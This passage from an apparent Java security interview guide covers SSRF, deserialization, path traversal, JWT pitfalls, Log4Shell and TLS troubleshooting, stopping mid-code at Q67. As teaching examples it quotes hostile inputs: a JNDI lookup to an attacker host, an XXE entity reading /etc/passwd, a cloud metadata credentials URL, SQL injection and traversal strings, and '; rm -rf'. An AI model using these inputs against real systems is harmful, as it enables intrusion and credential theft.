- Same applies to `SAXParserFactory`, `XMLInputFactory` (`IS_SUPPORTING_EXTERNAL_ENTITIES=false`, `SUPPORT_DTD=false`), `TransformerFactory` (`ACCESS_EXTERNAL_DTD=""`), and `SchemaFactory`.
- JAXB, SOAP stacks, XSLT and Office document libraries parse XML too.

> **FOLLOW-UP TRAPS**
> - **Are JDK defaults safe?** Not entirely; JDK parsers resolve external entities unless configured.
> - **Does `FEATURE_SECURE_PROCESSING` alone block XXE?** Not reliably; disallow DOCTYPE explicitly.

#xxe #xml #owasp

Q24 What is SSRF and how do you defend against it in Java? INTERMEDIATE

Server-Side Request Forgery makes your server fetch an attacker-chosen URL, reaching internal services or cloud metadata (`169.254.169.254`). Defend by allow-listing destinations and blocking private ranges after DNS resolution.

- Validate scheme (https only), host against an allow-list, and resolved IP (not loopback, link-local, RFC1918).
- Disable redirects or revalidate each hop.

- Pin the resolved IP to the connection to defeat DNS rebinding.
- Use IMDSv2 on AWS, network egress policies and separate fetcher workers.

> **FOLLOW-UP TRAPS**
> - **Is blocking `localhost` string enough?** No; `127.1`, `[::1]`, decimal IPs and DNS names resolving to private IPs bypass it.
> - **Is checking the URL before `HttpClient` followed redirects enough?** No; a redirect can point inward.

#ssrf #owasp #network

Q25 Why is Java deserialization dangerous and how do you mitigate it? INTERMEDIATE

`ObjectInputStream.readObject` instantiates classes from the byte stream and runs their `readObject` / `readResolve` hooks. Attackers chain existing classes ("gadgets" in Commons Collections, Spring etc.) to reach remote code execution before any cast check happens.

- Prefer data formats (JSON, Protobuf) with explicit schemas.
- If unavoidable, use an `ObjectInputFilter` allow-list (JEP 290, Java 9+, backported to 8u121) and set `jdk.serialFilter` globally.
- Keep libraries patched; never deserialize untrusted data from cookies, JMS, RMI or caches.

> **FOLLOW-UP TRAPS**
> - **Does casting after `readObject` protect you?** No, the gadget already ran.
> - **Is Jackson safe?** Default typing (`enableDefaultTyping`, `@JsonTypeInfo(use=CLASS)`) enables polymorphic gadget attacks.

#deserialization #gadget-chains #objectinputstream

Q26 How does ObjectInputFilter work? ADVANCED

JEP 290 lets you filter classes, array lengths, depth and stream size before objects are created. Patterns are allow/deny rules ending with a reject-all.

```
ObjectInputFilter f = ObjectInputFilter.Config.createFilter(
    "com.acme.dto.*;java.base/*;maxdepth=10;maxbytes=65536;!*");
ObjectInputStream in = new ObjectInputStream(stream);
in.setObjectInputFilter(f);
```

- JEP 415 (Java 17) adds context-specific filter factories.
- Trailing `!*` rejects everything not listed.

> **FOLLOW-UP TRAPS**
> - **Is a deny-list sufficient?** No, new gadgets appear constantly; allow-list.
> - **Does `maxbytes` stop all DoS?** No, but it limits nested bombs combined with `maxdepth` / `maxrefs`.

#deserialization #objectinputfilter #jep290

Q27 What is path traversal and how do you prevent it? BASIC

Path traversal uses `../` or absolute paths in user input to read or write outside the intended directory. Resolve the path against a base directory, normalize it, and verify it still starts with the base.

```
Path base = Path.of("/data/uploads").toRealPath();
Path target = base.resolve(userName).normalize();
if (!target.startsWith(base)) {
    throw new SecurityException("Invalid path");
}
```

- Use `toRealPath()` to resolve symlinks, which `normalize()` does not.
- Never use the client-provided filename for storage; generate a UUID.

- Zip Slip is the same flaw in archive extraction.

FOLLOW-UP TRAPS

- **Does `normalize()` follow symlinks?** No, it is purely lexical.
- **Is `startsWith` on strings safe?** `"/data/uploads2"` starts with `"/data/uploads"`; compare `Path`, not `String`.

#path-traversal #files #owasp

Q28 What is Zip Slip? INTERMEDIATE

Archive entries can carry names like `../../etc/cron.d/x`. Extracting with `new File(dest, entry.getName())` writes outside the destination.

- Resolve and normalize each entry path and require it to start with the destination.
- Limit entry count, total uncompressed size and compression ratio to prevent zip bombs.
- Do not extract symlink entries from tar archives blindly.

FOLLOW-UP TRAPS

- **Does `ZipInputStream` sanitize names?** No, it returns the raw entry name.
- **Is size in the header trustworthy?** No, count actual bytes read.

#zip-slip #path-traversal #archives

Q29 How should OS command injection be avoided? BASIC

Avoid shelling out; use Java APIs. If needed, pass arguments as a list to `ProcessBuilder` without a shell, so metacharacters are not interpreted.

```
Process p = new ProcessBuilder("convert", "-resize", "100x100", inFile, outFile)
        .redirectErrorStream(true)
        .start();
```

- Never `sh -c "convert " + userInput`.
- Argument injection still works: a value starting with `-` can become an option; use `--` and validate.
- Set a timeout and run with minimal privileges.

FOLLOW-UP TRAPS

- **Is `Runtime.exec(String)` safe if the string is built carefully?** It tokenizes on whitespace, so injection of extra arguments remains possible.
- **Does `ProcessBuilder` stop `; rm -rf`?** Yes when no shell is invoked, but argument injection remains.

#command-injection #processbuilder #owasp

Q30 What input validation strategy should a Java service follow? BASIC

Validate on the server, at the trust boundary, using allow-lists for type, length, range and format; then encode output for its context. Validation reduces attack surface; it is not a replacement for parameterization or encoding.

- Use Jakarta Bean Validation (`@NotNull`, `@Size`, `@Pattern`, `@Valid`) on DTOs.
- Canonicalize first (Unicode normalization), validate second.
- Reject rather than "sanitize" where possible.
- Validate size limits on bodies, headers, multipart and JSON depth.

FOLLOW-UP TRAPS

- **Is client-side validation enough?** No, it only improves UX.
- **Does validation stop XSS?** No, output encoding per context does.

#input-validation #bean-validation #allow-list

Q31 How do regular expressions create security issues (ReDoS)? INTERMEDIATE

Backtracking regex engines (including `java.util.regex`) can take exponential time on patterns with nested quantifiers like `(a+)+$`, letting a short crafted string pin a CPU core.

- Avoid nested or overlapping quantifiers; prefer possessive quantifiers or atomic groups.
- Cap input length before matching.
- Use a linear-time engine (RE2/J) for untrusted patterns or inputs.
- Java does not provide a built-in regex timeout; wrap input in a `CharSequence` that checks a deadline or run in a bounded executor.

FOLLOW-UP TRAPS

- **Is `Pattern.matches` safer than `find`?** No, the pathological case depends on the pattern.
- **Can you set a timeout in `Pattern`?** Not in the JDK.

#redos #regex #dos

Q32 How do you prevent XSS in a Java web application? BASIC

Encode output for its context (HTML body, attribute, JavaScript, URL, CSS) using a templating engine with auto-escaping (Thymeleaf `th:text`, JSP `c:out`) or OWASP Java Encoder. Add a Content-Security-Policy and mark cookies `HttpOnly`.

- `th:utext` or `escapeXml=false` bypass escaping.
- For REST APIs returning JSON, set `Content-Type: application/json` and `X-Content-Type-Options: nosniff`.
- If rich HTML is required, sanitize with an allow-list library (OWASP Java HTML Sanitizer).

FOLLOW-UP TRAPS

- **Does HTML encoding protect a value placed in a `<script>` block?** No, JS context needs JS encoding.
- **Is `HttpOnly` an XSS fix?** No, it limits cookie theft only.

#xss #encoding #csp

Q33 How does CSRF work and what does Spring Security do about it? INTERMEDIATE

CSRF tricks a logged-in browser into sending a state-changing request with its cookies automatically attached. Defenses: synchronizer token or double-submit cookie, `SameSite=Lax/Strict` cookies, and checking `Origin`.

- Spring Security enables CSRF protection by default for session-based apps.
- Stateless APIs authenticated with an `Authorization` header (not cookies) are not CSRF-prone, so it is commonly disabled there.
- Never change state on GET.

FOLLOW-UP TRAPS

- **Is CORS a CSRF defense?** No, simple cross-site form POSTs are sent regardless; CORS governs reading responses.
- **Do JWTs in cookies need CSRF protection?** Yes, the browser attaches them automatically.

#csrf #spring-security #cookies

Q34 How do you implement safe session and cookie handling? INTERMEDIATE

Use `Secure`, `HttpOnly` and `SameSite` cookie flags, regenerate the session ID on login (session fixation defense), set idle and absolute timeouts, and invalidate server-side on logout.

```
server:
  servlet:
    session:
      cookie:
        secure: true
        http-only: true
        same-site: lax
      timeout: 15m
```

- Spring Security migrates the session on authentication by default.
- Don't put session IDs in URLs.

FOLLOW-UP TRAPS

- **Does deleting the cookie client-side log you out?** No; the server session stays valid until invalidated.
- **What does `SameSite=Strict` break?** Links from other sites arrive without the cookie, appearing logged-out.

#session #cookies #session-fixation

Q35 What is the difference between authentication and authorization, and what is IDOR? BASIC

Authentication proves who you are; authorization decides what you may do. IDOR (Insecure Direct Object Reference) is missing object-level authorization: `GET /orders/42` returns an order that belongs to someone else.

- Enforce on the server per request with ownership checks, e.g. `findByIdAndOwnerId`.
- Spring: `@PreAuthorize("@orderAuth.canView(#id, authentication)")`.
- Unguessable IDs help but are not authorization.

FOLLOW-UP TRAPS

- **Do UUIDs fix IDOR?** No, they only make enumeration harder; leaked IDs still work.
- **Is hiding a button authorization?** No.

#authorization #idor #access-control

Q36 How should secrets be managed in a Java application? INTERMEDIATE

Keep secrets out of source control and images. Inject at runtime from a secrets manager (HashiCorp Vault, AWS Secrets Manager, GCP Secret Manager, Kubernetes Secrets with encryption at rest), prefer short-lived dynamic credentials, and rotate regularly.

- Don't commit `application.yml` with passwords; use environment variables or Spring Cloud Vault / config import.
- Environment variables can leak via `/proc`, crash dumps and `/actuator/env`; mounted files are slightly better.
- Scan repos with gitleaks/trufflehog and add pre-commit hooks.
- Use workload identity (IRSA, Workload Identity) so code needs no static cloud keys.

FOLLOW-UP TRAPS

- **Is Base64 in a Kubernetes Secret encryption?** No, it is only encoding unless etcd encryption is configured.
- **Is deleting a committed secret in a later commit enough?** No, it remains in history; rotate it.

#secrets #vault #configuration

Q37 What does a JWT contain and how is it verified? BASIC

A signed JWT (JWS) is `base64url(header).base64url(payload).signature`. The payload is readable by anyone; only integrity is protected. The verifier checks the signature with a trusted key and validates claims:

`exp`, `nbf`, `iss`, `aud`, and optionally `iat` and `jti`.

- HS256 uses a shared secret; RS256/ES256/EdDSA use key pairs with a public key for verification (JWKS endpoint).
- Encryption (JWE) is a different format.

FOLLOW-UP TRAPS

- **Is a JWT encrypted?** Not by default; never put secrets in it.
- **Is "signature valid" enough?** No; check expiry, issuer, audience and algorithm too.

#jwt #jws #authentication

Q38 List common JWT implementation pitfalls. INTERMEDIATE

Typical flaws: accepting `alg: none`, algorithm confusion (RS256 public key used as an HS256 secret), weak HMAC secrets, not validating `aud` / `iss` / `exp`, trusting header-supplied keys (`jku`, `jwk`, `kid` injection), long-lived tokens with no revocation, and storing tokens in `localStorage` where XSS can read them.

- Pin the expected algorithm in the verifier; don't read it from the token.
- HS256 secrets need at least 256 bits of entropy.
- Use short access tokens plus refresh token rotation.

FOLLOW-UP TRAPS

- **Can you revoke a JWT?** Not without server state (deny-list, short TTL, token versioning).
- **Is `kid` safe to use in a file or SQL lookup?** Only if allow-listed; it is an injection vector.

#jwt #alg-none #pitfalls

Q39 How do you validate a JWT correctly in Spring Security? INTERMEDIATE

Use the OAuth2 resource server with a `JwtDecoder` built from the issuer's JWKS, and add validators for issuer and audience.

```
NimbusJwtDecoder decoder = NimbusJwtDecoder
        .withJwkSetUri("https://idp.example.com/.well-known/jwks.json")
        .jwsAlgorithm(SignatureAlgorithm.RS256)
        .build();
OAuth2TokenValidator<Jwt> v = new DelegatingOAuth2TokenValidator<>(
        JwtValidators.createDefaultWithIssuer("https://idp.example.com"),
        new JwtClaimValidator<List<String>>("aud",
                aud -> aud != null && aud.contains("orders-api")));
decoder.setJwtValidator(v);
```

- Defaults check signature, `exp` and `nbf` (with 60 s skew) but not `aud`.
- JWKS keys are cached and refreshed on unknown `kid`.

FOLLOW-UP TRAPS

- **Does Spring check `aud` by default?** No, you add a validator.
- **Is 60 s clock skew a problem?** It is tolerance on `exp` / `nbf`; reduce it if strict.

#jwt #spring-security #resource-server

Q40 What happened to the SecurityManager in Java? INTERMEDIATE

The SecurityManager was deprecated for removal in Java 17 (JEP 411) and permanently disabled in Java 24 (JEP 486): `System.setSecurityManager` throws `UnsupportedOperationException`. It was rarely used properly and added complexity and performance cost.

- Applets, `AccessController`-based sandboxes and policy files are gone as isolation mechanisms.
- In 17-23 you could still enable it with `-Djava.security.manager=allow`.

- Replace with OS-level isolation: containers, seccomp, separate processes, least-privilege users, Wasm/GraalVM isolates, and the module system for encapsulation.

FOLLOW-UP TRAPS

- **Can you run untrusted plugins safely in Java now?** Not in-process; use separate processes or containers.
- **Does `AccessController.doPrivileged` still exist?** It is deprecated for removal and effectively a no-op wrapper.

#securitymanager #jep411 #sandbox

Q41 How do Java modules and strong encapsulation affect security? ADVANCED

Since Java 16/17 JDK internals (`sun.*`, non-exported `java.*`) are strongly encapsulated; reflection into them throws `InaccessibleObjectException` unless you add `--add-opens`. This blocks libraries from tampering with internals but is not a trust boundary against code in the same process.

- Every `--add-opens` flag widens access; audit them.
- Reflection on your own classpath code is still allowed.

FOLLOW-UP TRAPS

- **Is the module system a sandbox?** No, any code on the classpath still has full process privileges.
- **What did `--illegal-access` do?** Removed in 17; the permissive mode no longer exists.

#jpms #encapsulation #illegal-access

Q42 How do you handle dependency vulnerabilities? BASIC

Track transitive dependencies with an SBOM, scan continuously (OWASP Dependency-Check, Snyk, Trivy, GitHub Dependabot, `mvn versions`), and patch via version bumps or overrides. Log4Shell (CVE-2021-44228) showed one library can compromise everything.

- Use Maven `dependencyManagement` or Gradle constraints to force fixed transitive versions.
- Fail CI on high-severity CVEs with an exception process.
- Remove unused dependencies to shrink exposure.
- Reachability matters; triage rather than blindly bump.

FOLLOW-UP TRAPS

- **Does a CVE in a transitive dependency affect you?** Only if the vulnerable code path is reachable, but verify before dismissing.
- **Is pinning the latest version always safe?** Newer versions can bring regressions or malicious releases.

#dependencies #sca #cve

Q43 What are software supply chain attacks and how do you mitigate them in Maven/Gradle builds? ADVANCED

Attackers compromise a dependency, plugin, repository or build system (typosquatting, dependency confusion, hijacked maintainers, malicious plugins). Mitigate by verifying and constraining what enters the build.

- Use an internal repository proxy (Nexus/Artifactory) and reserve your group IDs there to stop dependency confusion.
- Gradle dependency verification (`verification-metadata.xml` with checksums/PGP) and lockfiles; Maven Enforcer plus checksum policy.
- Generate SBOMs (CycloneDX), sign artifacts (Sigstore/cosign), aim for reproducible builds (SLSA).
- Review new dependencies and pin GitHub Actions by commit SHA.

FOLLOW-UP TRAPS

- **What is dependency confusion?** A public package with your internal name and a higher version gets preferred by the resolver.
- **Does HTTPS to Maven Central prevent tampering?** It protects transit, not a compromised publisher.

#supply-chain #sbom #dependency-verification

Q44 What did Log4Shell teach about JNDI and logging? INTERMEDIATE

Log4j 2.0-2.14 resolved `${jndi:ldap://attacker/x}` inside logged messages, loading remote classes and giving unauthenticated RCE on any logged user input (CVE-2021-44228).

- Fixes: upgrade (2.17.1+ for Java 8, 2.12.4/2.3.2 for older), disable message lookups, and block outbound LDAP/RMI.
- JDK 8u191+ disabled remote codebase loading by default (`trustURLCodebase=false`), which reduced but did not eliminate exploitation (local gadgets).
- Lesson: treat any interpreter reached by user data as an injection sink.

FOLLOW-UP TRAPS

- **Was setting `log4j2.formatMsgNoLookups=true` a complete fix?** Not for all versions/contexts; upgrading is the real fix.
- **Does the logging framework matter?** Logback and `java.util.logging` were not affected by this flaw.

#log4shell #jndi #injection

Q45 How do you avoid logging sensitive data? BASIC

Never log passwords, tokens, keys, full card numbers, session IDs or unmasked PII. Log identifiers, mask the rest, and treat logs as a high-sensitivity datastore with access control and retention.

- Avoid `log.info("request {}", request)` where `toString()` dumps all fields; override `toString` to exclude secrets or use dedicated redaction types.
- Add a masking layer in the logging pattern (Logback converter or Log4j2 rewrite policy) as defense in depth.
- Sanitize CR/LF in user values to prevent log forging.
- Don't log `Authorization` headers, bodies of auth endpoints or SQL parameters at DEBUG in production.

FOLLOW-UP TRAPS

- **Is masking at the log layer enough?** No, only a backstop; stop the data being passed in.
- **Are stack traces safe to return to clients?** No, they disclose internals; log server-side and return a correlation ID.

#logging #pii #secrets

Q46 How do you protect against timing attacks in Java? INTERMEDIATE

Comparing secrets with `equals` or `Arrays.equals` returns early at the first mismatch, so response time leaks how many leading bytes matched. Use `MessageDigest.isEqual` (constant time since Java 6u17) for tokens, HMACs and hashes.

```
boolean ok = MessageDigest.isEqual(expectedMac, providedMac);
```

- Length leaks are usually acceptable; compare equal-length digests.
- Return identical errors and timing for "unknown user" and "wrong password" (hash a dummy value).

FOLLOW-UP TRAPS

- **Does network jitter make timing attacks impractical?** Statistical averaging has broken remote comparisons in practice.
- **Is `String.equals` constant-time?** No.

#timing-attack #constant-time #comparison

Q47 What is Java's approach to key storage and zeroing secrets in memory? ADVANCED

Java gives no guarantee about memory erasure: GC may copy objects and strings are immutable. Best effort is `char[]` / `byte[]` that you `Arrays.fill` after use and `Destroyable` keys (`SecretKeySpec` historically does not implement destroy fully).

- Prefer non-extractable keys in HSMs, PKCS#11, cloud KMS, or OS keystores so the key bytes never enter the heap.
- `KeyStore.getInstance("PKCS11")` returns handles; signing happens on the device.
- Disable heap dumps in production or protect them; secrets live in them.

FOLLOW-UP TRAPS

- **Does setting a `String` to null erase it?** No, it only drops the reference.
- **Does `SecretKey.destroy()` always work?** `SecretKeySpec.destroy` throws `DestroyFailedException` or is a no-op in many JDK versions.

#key-management #memory #hsm

Q48 What is key derivation (HKDF) and when do you need it? ADVANCED

A KDF turns a shared or master secret into one or more independent keys. After ECDH, the raw shared secret must be run through HKDF (or similar) with context info before use as a key. PBKDF2/Argon2 are for low-entropy passwords instead.

- HKDF-Extract-then-Expand with HMAC; JDK 24 adds `KDF` API with HKDF (JEP 510); earlier use Bouncy Castle or Tink.
- Use distinct `info` labels per purpose (encryption vs MAC).

FOLLOW-UP TRAPS

- **Can you use the raw ECDH output as an AES key?** It has non-uniform structure; derive via a KDF.
- **Is HKDF suitable for passwords?** No, it is not slow.

#hkdf #key-derivation #ecdh

Q49 Why does Google Tink or a high-level library beat raw JCA for most apps? INTERMEDIATE

Raw JCA exposes dangerous options (ECB defaults, IV handling, padding, curve choice). Tink offers misuse-resistant primitives (`Aead`, `DeterministicAead`, `PublicKeySign`) with safe defaults, key rotation via keysets and KMS integration.

- `Aead aead = keysetHandle.getPrimitive(Aead.class); aead.encrypt(pt, aad);` handles nonce generation and format.
- Key versioning lets you rotate by adding a new primary key.
- Rolling your own protocol compositions is the leading cause of crypto bugs.

FOLLOW-UP TRAPS

- **Can Tink replace TLS?** No, it covers data-at-rest and message-level crypto.
- **Does it remove the need for key management?** No, you still protect the keyset (wrap with KMS).

#tink #jca #crypto-api

Q50 What is certificate pinning and what are its trade-offs? ADVANCED

Pinning restricts trust to a specific certificate or public key (SPKI hash) rather than any CA-signed cert, defending against rogue or compromised CAs.

- Pin the public key of an intermediate or backup keys, not just the leaf, to survive renewals.
- In Java use a custom `X509TrustManager` that runs normal validation and then checks the SPKI hash, or OkHttp's `CertificatePinner`.
- Risk: a missed rotation bricks clients; plan backup pins and an update path.

FOLLOW-UP TRAPS

- **Should server-to-server code pin?** Usually a private CA truststore is simpler and enough.
- **Is HPKP a viable browser option?** It was removed; use CT monitoring instead.

#certificate-pinning #tls #trust

Q51 What security response headers should a Java web app set? BASIC

Set `Strict-Transport-Security`, `Content-Security-Policy`, `X-Content-Type-Options: nosniff`, `X-Frame-Options` or CSP `frame-ancestors`, `Referrer-Policy`, and `Permissions-Policy`. Spring Security adds several of these by default.

- HSTS applies only on HTTPS responses; include `includeSubDomains` carefully.
- Avoid `unsafe-inline` in CSP; use nonces or hashes.
- Remove `Server` / `X-Powered-By` version banners.

FOLLOW-UP TRAPS

- **Does HSTS protect the very first visit?** No, only after the header was seen or via preload.
- **Is `X-XSS-Protection` still useful?** No, it is deprecated; rely on CSP.

#headers #hsts #csp

Q52 How do you secure Spring Boot Actuator and other management endpoints? INTERMEDIATE

Expose only needed endpoints, put them on a separate management port or behind authentication, and never expose `env`, `heapdump`, `configprops` or `jolokia` publicly. These leak secrets and allow remote code execution paths.

```
management:
  endpoints:
    web:
      exposure:
        include: health,info,prometheus
  endpoint:
    health:
      show-details: when-authorized
  server:
    port: 9090
```

- Spring Boot 3 only exposes `health` by default over HTTP.
- Mask sensitive values; `sanitizes` keys by default but custom property names can slip through.

FOLLOW-UP TRAPS

- **Is a heapdump dangerous?** Yes, it holds every in-memory secret and session.
- **Is a separate port enough?** Only with network controls limiting who can reach it.

#actuator #spring-boot #misconfiguration

Scenarios

Q53 A developer commits an AWS key and a database password to a public repo. What do you do? BASIC

Treat it as compromised immediately: revoke and rotate first, then investigate. Removing the commit does not help because bots scrape GitHub within minutes.

1. Disable/rotate the AWS key and DB password.
2. Review CloudTrail and DB audit logs for use since the commit time.
3. Remove from history (`git filter-repo`) and force-push only after rotation; notify the provider if needed.
4. Add secret scanning, pre-commit hooks and move to IAM roles/Vault.

FOLLOW-UP TRAPS

- **Is `git revert` enough?** No, the secret remains in history and forks.
- **Should you clean history before rotating?** No, rotate first; cleaning is secondary.

#leaked-key #incident-response #secrets

Q54 A password-reset token is generated with `new Random().nextLong()`. What is wrong and how do you fix it? BASIC

`java.util.Random` is a linear congruential generator; observing a couple of outputs lets an attacker recover the seed and predict future tokens, enabling account takeover. Also 64 bits and often seeded from time.

```
byte[] b = new byte[32];
new SecureRandom().nextBytes(b);
String token = Base64.getUrlEncoder().withoutPadding().encodeToString(b);
```

- Store only a hash (SHA-256) of the token, set a short expiry, make it single use.
- Invalidate existing tokens on password change.

FOLLOW-UP TRAPS

- **Is `UUID.randomUUID()` OK?** Yes, it uses `SecureRandom` with 122 random bits, acceptable for tokens.
- **Why store a hash of the token?** A DB leak otherwise exposes valid reset links.

#insecure-random #tokens #account-takeover

Q55 Your service's TLS certificate expired at 2 a.m. and all clients fail. How do you respond and prevent a recurrence? INTERMEDIATE

Symptom: `SSLHandshakeException ... CertificateExpiredException: NotAfter`. Renew and deploy the certificate, reload the keystore (restart if the app loads it once), and verify the chain with `openssl s_client`.

- Prevent: automated issuance (ACME/cert-manager), expiry monitoring alerts at 30/14/7 days, inventory of every cert including internal and mTLS client certs.
- Support hot reload (Spring Boot 3.2 SSL bundles with `reload-on-update`).
- Test expiry in staging with short-lived certs.

FOLLOW-UP TRAPS

- **Will replacing the file on disk update a running JVM?** No, the `SSLContext` loaded it at startup unless reload is implemented.
- **What about intermediate certs expiring?** They break chains too; monitor the whole chain.

#certificate-expiry #outage #tls

Q56 After upgrading the JDK, calls to a partner API fail with `SSLHandshakeException: No appropriate protocol`. What happened? INTERMEDIATE

The partner endpoint supports only TLS 1.0/1.1 or weak ciphers, which newer JDKs disable through `jdk.tls.disabledAlgorithms` in `java.security`. The right fix is upgrading the partner; re-enabling the old protocol is a risky stopgap.

- Diagnose with `-Djavax.net.debug=ssl:handshake`.
- Temporary workaround: override via a custom `java.security` file scoped to one JVM, with a tracking ticket.
- Also check `jdk.certpath.disabledAlgorithms` for SHA-1 or small RSA keys in the chain.

> **FOLLOW-UP TRAPS**
> - **Should you remove TLSv1 from the disabled list globally?** Only as a documented, time-boxed exception.
> - **Does the same error happen with a bad cert?** No, cert errors surface as `PKIX path building failed`.

#tls #jdk-upgrade #disabled-algorithms

Q57 A call fails with `PKIX path building failed: unable to find valid certification path`. What do you do? BASIC

The JVM does not trust the issuing CA of the server certificate, often a corporate proxy or a private CA, or the server omits an intermediate. Import the CA (not the leaf) into a truststore and point the JVM to it.

```
keytool -importcert -alias corp-ca -file corp-ca.pem \
  -keystore trust.p12 -storetype PKCS12
java -Djavax.net.ssl.trustStore=trust.p12 \
     -Djavax.net.ssl.trustStorePassword=$TS_PASS -jar app.jar
```

- Setting a truststore replaces cacerts; copy cacerts and add to it, or build a combined store.
- Fix the server to send the full chain if an intermediate is missing.

> **FOLLOW-UP TRAPS**
> - **Is the right fix to disable validation?** Never.
> - **Why does it work in the browser but not Java?** Browsers fetch missing intermediates via AIA; Java usually does not for the server chain.

#pkix #truststore #troubleshooting

Q58 A teammate wants a "trust all certificates" `SSLContext` for staging. How do you respond? BASIC

Reject it. Such code reaches production through copy-paste or config flags and silently removes MITM protection. Offer a staging CA in a truststore or a Let's Encrypt cert.

- Add a lint/static analysis rule (SonarQube, SpotBugs find-sec-bugs) failing on empty `checkServerTrusted` and `ALLOW_ALL_HOSTNAME_VERIFIER`.
- Use profile-specific truststore paths rather than code branches.

> **FOLLOW-UP TRAPS**
> - **Is it fine behind a VPN?** Compromised hosts or shared networks still enable interception.
> - **Does `-Dcom.sun.net.ssl.checkRevocation=false` equal trust-all?** No, it only skips revocation, but weakens security too.

#tls #trustmanager #code-review

Q59 An endpoint builds `"SELECT * FROM users WHERE name = '" + name + "'"`. What happens with `' OR '1'='1`? BASIC

The query becomes `... WHERE name = '' OR '1'='1'`, which is always true and returns every row, bypassing a login check or exposing all users. With stacked queries or `UNION`, attackers can dump other tables.

```
String sql = "SELECT * FROM users WHERE name = '" + name + "'";
```

- Fix with `PreparedStatement` placeholders.
- Fix the DB account to least privilege, and give generic error messages.

FOLLOW-UP TRAPS

- **Does JPA protect you?** Only if you use parameters; concatenated JPQL is injectable.
- **Does escaping quotes fix it?** Fragile; multibyte and numeric contexts bypass it.

#sql-injection #jdbc #code-review

Q60 A sort parameter `?sort=price` is concatenated into `ORDER BY`. Prepared statements can't help. What now? INTERMEDIATE

Map user input to a fixed set of known columns and reject everything else.

```
private static final Map<String, String> SORTABLE =
        Map.of("price", "price", "name", "name", "created", "created_at");

String col = SORTABLE.get(sortParam);
if (col == null) throw new IllegalArgumentException("bad sort");
String sql = "SELECT id, name FROM item ORDER BY " + col;
```

- Direction also needs a whitelist (`ASC` / `DESC`).
- Spring Data `Sort` validates property names against the entity, but verify custom `@Query` usage.

FOLLOW-UP TRAPS

- **Can regex validation substitute for the map?** Possible but riskier than a closed set.
- **Does `ORDER BY ?` work?** It orders by a constant, so it silently does nothing.

#sql-injection #order-by #allow-list

Q61 Your XML upload endpoint parses SOAP/XML and an attacker sends `<!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]>`. What happens? INTERMEDIATE

With a default JDK parser, the entity is resolved and `&x;` expands to the file contents, which may be echoed in the response or leaked out-of-band through a parameter entity to an attacker's server. Fix by disallowing DOCTYPE and external access.

```
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
```

- Also audit XSLT, JAXB `Unmarshaller` and Office/SVG processing.
- Run the service with limited filesystem access.

FOLLOW-UP TRAPS

- **Is it safe when the response doesn't echo content?** No, blind XXE exfiltrates out-of-band.
- **Is the billion-laughs DoS covered?** Disallowing DOCTYPE and secure processing limit entity expansion.

#xxe #xml #file-disclosure

Q62 A "fetch URL for preview" feature is deployed on EC2. An attacker submits `http://169.254.169.254/latest/meta-data/iam/security-credentials/`. Impact? INTERMEDIATE

The server calls the metadata service and returns instance role credentials, giving the attacker cloud access (the Capital One 2019 breach pattern). Fix at several layers.

- Block link-local/private/loopback IPs after DNS resolution, allow-list hosts, disable redirects.
- Enforce IMDSv2 (token required, hop limit 1) so a simple GET fails.
- Give the role minimal permissions and restrict egress with network policies.

FOLLOW-UP TRAPS

- **Does IMDSv2 alone fix SSRF?** It mitigates metadata theft, not access to other internal services.
- **Can DNS rebinding beat a pre-check?** Yes, so connect to the validated IP address directly.

#ssrf #cloud-metadata #imds

Q63 Your API accepts Java-serialized objects in a cookie. What's the risk and the migration plan? INTERMEDIATE

Any client can send a crafted stream that runs a gadget chain during `readObject`, yielding RCE under the app's privileges. Never accept serialized Java from untrusted sources.

- Replace with a signed (HMAC) or encrypted token carrying JSON, or store state server-side keyed by a random ID.
- During migration, install an `ObjectInputFilter` allow-list and remove gadget libraries (old commons-collections 3.x).
- Monitor for `java.io.InvalidClassException` spikes as attack signals.

FOLLOW-UP TRAPS

- **Does signing the cookie solve it?** Yes if the key is secret and verified before deserialization; encryption without a MAC does not.
- **Is a serialization filter alone enough long term?** It's a mitigation; removing native serialization is the fix.

#deserialization #rce #cookies

Q64 Your Jackson mapper has `activateDefaultTyping(... OBJECT_AND_NON_CONCRETE ...)` and accepts untrusted JSON. What can go wrong? ADVANCED

Attackers set `@class` to a gadget type whose setters or constructors execute dangerous actions (JNDI lookups, file writes), causing RCE. Jackson CVEs repeatedly targeted this.

- Don't use default typing on untrusted input; use `@JsonTypeInfo(use = NAME)` with `@JsonSubTypes` listing allowed subtypes.
- If required, configure `BasicPolymorphicTypeValidator` allow-listing packages.
- Keep Jackson updated.

FOLLOW-UP TRAPS

- **Is a type allow-list on `Object` fields safe?** Only if narrow; allowing `java.lang.Object` effectively permits anything.
- **Does plain `readValue(json, MyDto.class)` have this risk?** Not without polymorphism features.

#jackson #deserialization #polymorphic-typing

Q65 A file download endpoint is `new File(baseDir, request.getParameter("file"))`. What can an attacker do? BASIC

With `file=../../etc/passwd` or an absolute path (in some APIs absolute second argument semantics differ), they read arbitrary files such as config with secrets. Encoded variants (`%2e%2e%2f`, double-encoding) get past naive filters.

- Resolve, normalize and check with `startsWith(base)` after `toRealPath()`.
- Better: map IDs to stored files in a database and never expose raw filenames.
- Run the app user with read access only where needed.

> **FOLLOW-UP TRAPS**
> - **Does stripping `../` once work?** `....//` becomes `../` after stripping; allow-list or reject instead.
> - **Does `Path.resolve` with an absolute argument return it?** Yes, `base.resolve("/etc/passwd")` returns `/etc/passwd`.

#path-traversal #file-download #code-review

Q66 A user upload endpoint saves files using the original filename and serves them from the same origin. What risks exist? INTERMEDIATE

Risks: path traversal in filenames, uploading `.html`/`.svg` for stored XSS, overwriting existing files, executable content, large file DoS, and content-type spoofing.

- Generate random server-side names; keep extension from an allow-list; detect real type by magic bytes (Apache Tika).
- Store outside the web root or in object storage on a separate domain with `Content-Disposition: attachment` and `nosniff`.
- Enforce size limits (`spring.servlet.multipart.max-file-size`) and scan for malware if needed.

> **FOLLOW-UP TRAPS**
> - **Is the `Content-Type` header trustworthy?** No, the client sets it.
> - **Why a separate domain?** Same-origin scripts access cookies and APIs of the main site.

#file-upload #xss #content-type

Q67 Users can reach other users' data by changing `/api/invoices/{id}`. How do you find and fix it? INTERMEDIATE

This is broken object-level authorization. Fix by checking ownership on every access in the service layer, not only in controllers.

```
@PreAuthorize("isAuthenticated()")
public Invoice get(long id, Authentication auth) {
    return repo.findByIdAndCustomerId(id, currentCustomer(auth))
